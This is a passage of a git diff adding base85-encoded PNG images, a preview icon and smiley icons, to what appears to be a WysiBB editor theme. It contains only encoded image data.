zlm*5Y8bda7!#Rs*OZ_^E<_-bJ76Md()}At}SNz@S8b!}~wkeq%u{TTA&IMq5 ze(p=7vXn&HrsnJo1pJa)6ZfpdEI#mohfUBqmAU~>#rQ45GR!d8HyJs)oFaE)>PD*k zAErX;^X?!2sF!CETyK^BE+TLpwkN4-y?@l4JYZhR-!ajwb#yq*RYcL;KHPntQ_*m| ztpv~=fF?oK0+f{CdaV4Kcs%mD%ZrIyN8ACmC~UWLXseeO^4_`HfB5kYJY^>S(pm+r z4?G?v=c)~CuqcR7^x(s7;(n{l{mC4g$h?(ct`WVFyqNfbV^*2fG5aCpJj?V6rtfV6RYvo*1kvkBrq>-My&d>Xl zmh<<`E!w#%+N>hT2^nc&nF!G-M-AwGj^@&~9j`e#8I@nv`+EaEWb5SMknSN}cWZ9- z!wB`Wj16m>lUVL>*+URI{OrlP>e|TBsXcc-4`jrDpW?qhm+AN&eEG+pO|7?GH5{&Z ztzCpdE^LiVt~~m&A1J~cUPY9L@OtWUVT*GJ?p0;-iM0BTNdfQR?4iI@UFGS!oV_{a z?8mpkkwZKNggW9&)+L zLjsnb^&IysS(E7-+*_1sYp&ZPgPKQrqA*y~pd!TI!(J{ji;vAQr7E|%o(sMW_I-d& zsd>=ZCW`$1i{qP@m7R@E@=B$c(B;X;1FlU+>l+%-x!O3cPVzP`R=pg$*SkxkqJ^T(jgRVP&_9;Vi0acl04EAx$a-UH3j7vv*`Z4J#N zb0mAtFL!J73fxAJuZK-t09}>vh~6M>ryMc)I#TXh$GvX{jHXJ|m-K@`%#Z0v-{J25 ze!DK)BVzG!ixYKMg!R@vWmRs)$c7ZFe>q`pZhltnOufz3{crsr(=t)=e_V*88)>uK-b|(Tpu~2vqiA2K0``q)dhYa4FThi?sK6bA?D$mb} zqkdsB^v&bw+2<1N-P4_k;>SZiigYC%{NQt6`&w|lP+FiX3-ryc2xeB+gg>{jFb`>)okB9>l1Zq|!fnUCz{o8?EoNQ2(X z)eeNX%eZ7_WJu|TeV)4J_;}#RtI((!ovoFDzu2Z#i!8H3NVCsxHoH`lY!4a_A3Ig1 z=vsBQM_v1ZhDYR=4hK`NZ#}nlCswJ31(yvDhdwY81z_Q>gQI7CLyL!ZzPHULRb^|Gn|;6-j9H z<}-y{R>;?xXW4Lk=NV}fZ6Ko>zR(V*XO7Mv3%m6#TH)qC}wH;e{X%;ez|$G|0Hya`v(=u z&HrX|E{i&j835h*#>~qwl7za;2!e#$RyO+*+CwLUM+yV9f2eea0#;l|lNT%9gz8&R z#hbk?7r2CpL}HGNUgSDjivtw-^_hZTvViU|vXMZD!!UtTJ&{k74|7`hUTp_J0Hw!% zFjC>QP&KvJ8EI)+BZ+c)TtYer#6EW=BqTI2I6v3T-_|`Bx&B;vrRG(>$pPH3cW#t? zg-0_*AEI-cn{?p#>bqyD3X*MKE8N#w`6bmX+D0j#r&?|M82T7R9heXAJ&30?4BshW zc*WCe+Re2uhWq0c1$;}}4}ueer_WUL&`eI~>n|8duNMEwh9M_AJ4jwlf|7mF{ybi- z^V^Y)dd#=CQiSu*!qs#F-^JEPtS*>3xxfKQ`sWR*?kwHWq|sh*AF>?2_WNTOfD&XF9%KzV@ILn1Yb*HmZ$F)r`J~dd zQ%oyc{??l%g9YV4C7&@1+mnNLTUC|0fI=Ia-d2#pjM{IZn=hvQe*UF#aBe~l>awZN zEHTP=q+<0xu$;&yHa>D-D}zUmA}25kJ;3K%3FX-Kh~WT$&D6Br8kZ05er7W>vcgsv HcryM6dlcYF literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/imgpreview.png b/css/wysibb/theme/default/img/imgpreview.png new file mode 100644 index 0000000000000000000000000000000000000000..e6dfd6d8fded3c82aefbc47b7b061d498eba9f8a GIT binary patch literal 1621 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 literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/smiles/sm1.png b/css/wysibb/theme/default/img/smiles/sm1.png new file mode 100644 index 0000000000000000000000000000000000000000..c505e40acfbb4da3c9904efeb755be9f17ece998 GIT binary patch literal 1394 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`k|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*9U+m=!WZB1$5BeXNr6bM+EIYV;~{3xK*A7;Nk-3KEmEQ%e+* zQqwc@Y?a>c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{Lf3aU{s}FRHJ}6p|q8TOxOgkVZJkbI<@MNEw2Tbclz(oD%Cszam1LF%%7srr_TXTY~ zy_p>a=AC}5cTDA2$N3p*f;uKg4mqhRn7y(W*s?*;af7JHK_>y$=s*EQ4z~@WEL#Iu z1i2kurMb6q>@)1VxJPe#bh_U9;LArE->0Re@9V$0H@44^EzA0jvB_d-*AnGhn@)>& zC?Co4kALKL_xw|q2`gO9J7<(x>ZXQi^Disf8}z$tnSzYi!*6;*$4mG&HaNZ9!!YTz z!M*L~5_|dFEjjjxbwvjGI4cOWwjaM?xNNV6(Djt;)4gSjuRk?mT>remaHqx!H`^=T zGO10?u?sIJU7KHVCrsn0-ugoVKYdDH8py3)E!uFhXy1-)d0~G}d`Q1Ir^iCWz>n#! z*yb?FjR`ZGb=Uko$Jo*QY^kn_^)2m+KJ83)2mAM5-Z(Ge+;Zy2e*pzO&O672gC;v( zn4&VlL+kcV^=oAsI-2bsA95o;f6QNzeZ=v$V&l{U$zD@}W;QKX<+7_+ofFUXGp#GL zH)~3;e&K}OQ+9WLHVvKS>0bMcEiOj-qrG%}&zr*I3)Y%0JJPt^WY50SC3BY-F&+65 ze%pk3YpBeJnvcSwu59}6dG0lR5?ki{Mb6@Dw#!1!6632==bTJpy71D-Y0?pePplur zl76&Cs_6Zz?9~#K-sR|GAG_ntC*vgXjh#;x?D`+wz{s#OjLqdt@s}Dc-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{L$o& z6x?nx$EjBz=oo!av?4__ObD2EKuma|1#;lYJ~a=R){B6Ny1MRN6axbjlc$SgNX4xw z!M@qTfg*eJ=bUNrl({@@OP2J~PQ9*a8YO|@N*rRPj~8`!aBKeHXIZ^N#s4E&6L?Q0nry8Edl7-upc-@ASDPk5gP& zJYTjqRi8=J%Z^y_@cR23?aIrm{EvD33QEkW(dS=nINfy3Q%<-3vY8n_xRQkxlA^Qj zE!ovM@?URmxo43+m-mW?O2;vE;s2^~ zJ42UU`?+sCQA??l66KHWL?GVOdw#;eRe8TU6?md~ZW&o~@&P2t_Pyhppw@#Pwnt|>H< z-xu-aiwDRL~zO~c-Sl&6pt;<};et+`YTb=9p9NQF~zQ4DaR5w*+ z?b_d`f7qOT@5mCb+!L3ub5@SKXR m(-SU7Kd?K}s_?&`ftg`bth`*W%U)3N%HZkh=d#Wzp$Pz literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/smiles/sm3.png b/css/wysibb/theme/default/img/smiles/sm3.png new file mode 100644 index 0000000000000000000000000000000000000000..23ce5611e23b3c400484c4ac11690f83a8397977 GIT binary patch literal 1457 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`k|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*9U+m=!WZB1$5BeXNr6bM+EIYV;~{3xK*A7;Nk-3KEmEQ%e+* zQqwc@Y?a>c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{L$o& z6x?pHz^PXs=oo!av?4__ObD2EKuma|1#;lYJ~a=R){B6N`fJvlBnAd1bx#+^kcwMV zf_*cD9Yy}7m7mNr^NtcWkGd>zTTbNYq9+edHhWxLz5L#h$qPbSsN>)5@jF7!vptRsZ|E@6{mv15yiaOjMNF$)n8InEZEur~XDx`> z61Z-QnC3Gz&d_Qm7ru%ARVmgXG*VDY5b3EZ#z^zIVGH2WwF<+vgBv7 z_r1&edYgK3{G6?>e)zsSH9oU}uQNGAKAV5cf`_I&v$v-pHoS>&PQKeH(08@@ZN+33B5~)edpLDDle*b zDf_tj$=M73bKY`sJS#Rnwr++Yr&jHoTlt;8bd(D(EUe7fem<`tXF7*<&BPPo|IK`Y zTXsKV6uWHVaQ)WawZa>Nn7zdGFO^L@!Ck$~(BNEB&3ZvUVWYW^^%o_yEO#ku{#ef< Z!SKz%Z^nbLmsdcAsHdx+%Q~loCIBbcEZ+bC literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/smiles/sm4.png b/css/wysibb/theme/default/img/smiles/sm4.png new file mode 100644 index 0000000000000000000000000000000000000000..e412c9425cdd6a7efd83a8704896ea88590f978a GIT binary patch literal 1353 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`k|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*9U+m=!WZB1$5BeXNr6bM+EIYV;~{3xK*A7;Nk-3KEmEQ%e+* zQqwc@Y?a>c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{L$o& z6x?nx#i>^x=oo!av?4__ObD2EKuma|1#;lYJ~a=R){B6N+J47>GX@66{hlt4Ar-gg z1bgc<2a5blv%1_K=DC%{P&G%VB~L|8F)T?t>9Ery^&f&c9x6ii4v*L)5*?M4HVPyq zIxE*M$n3hZ`K`^m;`W7?w@CSYdU~(;-5JaKKi}P4ke!ch2?}-9uIzs|_=!Z95<-BeQI0^|ebum&LiN0>aguMOacc zv!=W&_E3p`Tw>?wsi$T1g5&qEDQ54NJG)jW)~|K>aPXxuTv;PE>0`(m<2 z$j1E&_%`c*%n=LwbiaD(+v0qQu$G(a zH%{U7KT&d5Z1>K|7jLa`x-1zo)ixxxpyZ9)lJ9qO9)7vg91^7_`)NzopNilcx63wq zNquPHpQ%t(+4!u%pV#2Vf2O%BJ5;xdxGJSFb=O(4-JQ!c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{LumR zAbL}9yTt&fUVWfr^g+>z6wNRpVA=sO;fWT=fhYUaJYZTc0w(Iahsv@T7#Qb!x;TbZ z+*%TJ*6Xl?z`PuxXvg5pi(#ujKG^B?KF+3tqe=W@fNjNB)g#?}Y##Q^Zi&YvU-l=tFxfqxFXnF{fO{8MAvGG?p+;R9O)+E1+tv^THo9 z-LD&U-O+e=DsQ47ud~JR_GYs+3hfF43cqT<{gv76t<_gnJ!!Xnn{odS7afkY$;XOY zZ}GiUv3Pmp-8{CPHjP=VZ)nUzC(%YC+^THSpUJGXsc{=`w)U?^HW^*84MdB-{W kb@rdkZ^-^(k7wdx@IQF??!3O73Q*zY>FVdQ&MBb@08IDTQUCw| literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/smiles/sm6.png b/css/wysibb/theme/default/img/smiles/sm6.png new file mode 100644 index 0000000000000000000000000000000000000000..cf50bc07296c9767103c1907fdd149d13094eab1 GIT binary patch literal 1423 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`k|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*9U+m=!WZB1$5BeXNr6bM+EIYV;~{3xK*A7;Nk-3KEmEQ%e+* zQqwc@Y?a>c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{L7UM@tJwM^_g^LsvsbV$o& z6x?nx$EjBz=oo!av?4__ObD2EKuma|1#;lYJ~a=R){B6NI<)KYEd~ZAR!uEctfy^!v*VcU+FuTHny!xig}#_J_hDh4oVoDX2>Gg#CE)F{-Wo`?H3d zH;%Bf+%u^8`|UW_lO`WGHn$B*rEjHn6mxF0-}{;+(9&nYg@0dO>fdRzEPmEt$kA}5 zptJc4LnH4A22Qq5jV#OtJpW?sPX7LXZ0fWBFBnwXyk(ZKFA*1E``+3*Gej@m*@E9z zU}NX&EJMRRb>|D@MY#8F3R>gZ^yduE`FZ~nE51s-F=sOjOk>mZ^w3EbuKzDMLv7yQ zc^pO#tQvJ!1Gs0@%;^05BYr{T^YwrKu%=`k4occR!yveIjf(N%Lr;||Opm+oORV_w zNB{8Z?f)H4?i5O6IPq@jA}61Rj}G}&!;Koga+{xw3ZNp=)78&qol`;+0E9;k*Z=?k literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/smiles/sm7.png b/css/wysibb/theme/default/img/smiles/sm7.png new file mode 100644 index 0000000000000000000000000000000000000000..384ba2b6b70991b06c25b6b2e07c22a2f4689746 GIT binary patch literal 1426 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`k|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*9U+m=!WZB1$5BeXNr6bM+EIYV;~{3xK*A7;Nk-3KEmEQ%e+* zQqwc@Y?a>c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{L$o& z6x?oc#Hm*w=oo!av?4__ObD2EKuma|1#;lYJ~a=R){B6NI{B^STm}Xv4o?@ykcwMV zf_<}v14Z^4>z_@Tl;CMR(TtPpsL(FWrMsOL?0$61cVX;}sR|rPjsh&=O#vDlto8@? zHqF-KYJKGQf!)JiW8u+dN!=c5HBmeEze_c`m8W zm%ReMH&`ZE71XoZF~5IT5vMw9eJiU&NPvIC^6R>%eP%6F;W^yD)mk>wvhUBTt1>h6 z8$v~jezQ85ZTvUoWXh>)CpwNK8A__`jq}g?y30hWSKr`y;E{{XH)iLUMW5^M^_1ED z%8QpJ`AnjorOK-twPrKDbj7<|1D%~e-P%@b%aPc#^T~wMaqpiOSq3`Z?iYx$xBh&c z|8r%0yIJzW3B^Tq{~Ffp%>I#YEBC*8lh;qHFR|M+pLlGIN^1;Mo+{*f`PadzA3t)p zm)~3_QEw&pG<@UVjK=>HAN&&KmiZp@Jxpolo}k9E)vl#ym}c|dj??7f|K4mZF=uYx zccw(H|MsFhVyrT&bk7~Uo&WoHtl1ImTg9CLzEp~mNV_r%rJ#Pa<7x;PIh6wdOsWc+#j z;Y0Ts-ZlJDUrZNWNM4a{?zOaJTY!M_#1DVxmPNn09Q-qGrAeY4d*R#p*CjNYI48P3 qFne!V@SkN{BfrA+#XtA6N-*qp*nQnBQOX`vN_x8bxvXk3W) literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/default/img/smiles/sm8.png b/css/wysibb/theme/default/img/smiles/sm8.png new file mode 100644 index 0000000000000000000000000000000000000000..f7c757389d83b46b15168f56695f2d8339dc3772 GIT binary patch literal 1405 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`k|nMYCBgY=CFO}lsSJ)O`AMk? zp1FzXsX?iUDV2pMQ*9U+m=!WZB1$5BeXNr6bM+EIYV;~{3xK*A7;Nk-3KEmEQ%e+* zQqwc@Y?a>c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{Ld%XH&;_fM^_g^Lsvr!M*{;lb2l?H6K4}c zM^{&vUYGpj(%jU%5}4i;gkCe8dO-;xw*Y9fOKMSOS!#+~QGTuh*uz$txZPrm(>$o& z6x?nx!Kqgt=oo!av?4__ObD2EKuma|1#;lYJ~a=R){B6Ny6dXlDh39|&z>%hAr-fh z{`~)M&usMIWaN6jC6^j*$aU~8I3(WiLqXvDFC*0tYMZLuW-vPRo^e>k)Uo<5PpRco zS62xYmY)ZU^zYTDRQ&kGdwAXF>HC>?u64M>X!1h;4#R>pKZWY)6T2q$wzf$z>#MUf zn|=8Co4-xiJkM~>?&9|x6JE2KJh2uI$(uE?Yg6yqb$ZO&+SZ5r?f-8~njquB>!Itx ze}nbT&DT0dSzG&9BW@c_U^0`jJ@etyUu$hK1?ynfu*QeCPa(sMrc-B0B-X!|R%*X9w zx6Z%!_vPD;Z~yj(sc37W=Ek{`c-mj#PnPRIHZt82`Ti~3Uk?B!Ylp0*+7m{3+ootz+WN)WnQ(*-(AUCxn zQK2F?C$HG5!d3}vt`(3C64qBz04piUwpD^SD#ABF!8yMuRl!uxKsVXI%s|1+P|wiV z#N6CmN5ROz&_Lh7NZ-&%*U;R`*vQJjKmiJrfVLH-q*(>IxIyg#@@$ndN=gc>^!3Zj z%k|2Q_413-^$jg8EkR}&8R-I5=oVMzl_XZ^<`pZ$OmImpPAEg{v+u2}(t{7puX=A(aKG z`a!A1`K3k4z=%sz23b{LfG<(7%j-6?I^&)4aC}k0vm%nmMV12Rk*gT zNg+bh!|B80N2=Rj&)#dj_wZ%|?)Pcw>GyWuycwI=v+#+8m2U4L9fr^Zov3}R>l&J$ zzkC*J6n}(CL2E{6g72?o4vmTn534AD3~bt>ZF9z~QI~`DK9hpD!G4j(l^uL6mt9rs z+9xQV&?w~17gCzn<5az5asf$`{KuKb6_8lKx{{|XKM9n)yE?!_k7 zB@qu8pY|6_|8M-Ju=zAo`Xb-cyC#Tb$kr|S^QXq}srPxVImPe4hbn(~`}4U|g}Yqd 